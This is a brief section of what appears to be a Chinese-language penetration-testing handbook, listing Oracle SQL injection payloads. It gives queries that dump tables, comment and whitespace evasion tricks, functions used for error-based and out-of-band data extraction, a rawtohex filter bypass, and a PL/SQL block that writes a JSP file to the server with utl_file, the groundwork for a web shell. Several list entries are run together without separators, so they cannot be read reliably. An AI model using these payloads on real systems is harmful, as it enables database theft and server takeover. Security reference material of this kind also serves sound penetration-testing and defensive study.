4.1.7.4. Oracle Payload¶
4.1.7.4.1. 常见Payload¶
- dump
select * from v$tablespace;select * from user_tables;select column_name from user_tab_columns where table_name = 'table_name';select column_name, data_type from user_tab_columns where table_name = 'table_name';SELECT * FROM ALL_TABLES
- Comment
--/**/
- Space
0x000x090xa-0xd0x20
- 报错
utl_inaddr.get_host_namectxsys.drithsx.snctxsys.CTX_REPORT.TOKEN_TYPEXMLTypedbms_xdb_version.checkindbms_xdb_version.makeversioneddbms_xdb_version.uncheckoutdbms_utility.sqlid_to_sqlhashordsys.ord_dicom.getmappingxpathutl_inaddr.get_host_nameutl_inaddr.get_host_address
- OOB
utl_http.requestutl_inaddr.get_host_addressSYS.DBMS_LDAP.INITHTTPURITYPEHTTP_URITYPE.GETCLOB
- 绕过
rawtohex
4.1.7.4.2. 写文件¶
create or replace directory TEST_DIR as '/path/to/dir';
grant read, write on directory TEST_DIR to system;
declare
isto_file utl_file.file_type;
begin
isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');
utl_file.put_line(isto_file, '<% out.println("test"); %>');
utl_file.fflush(isto_file);
utl_file.fclose(isto_file);
end;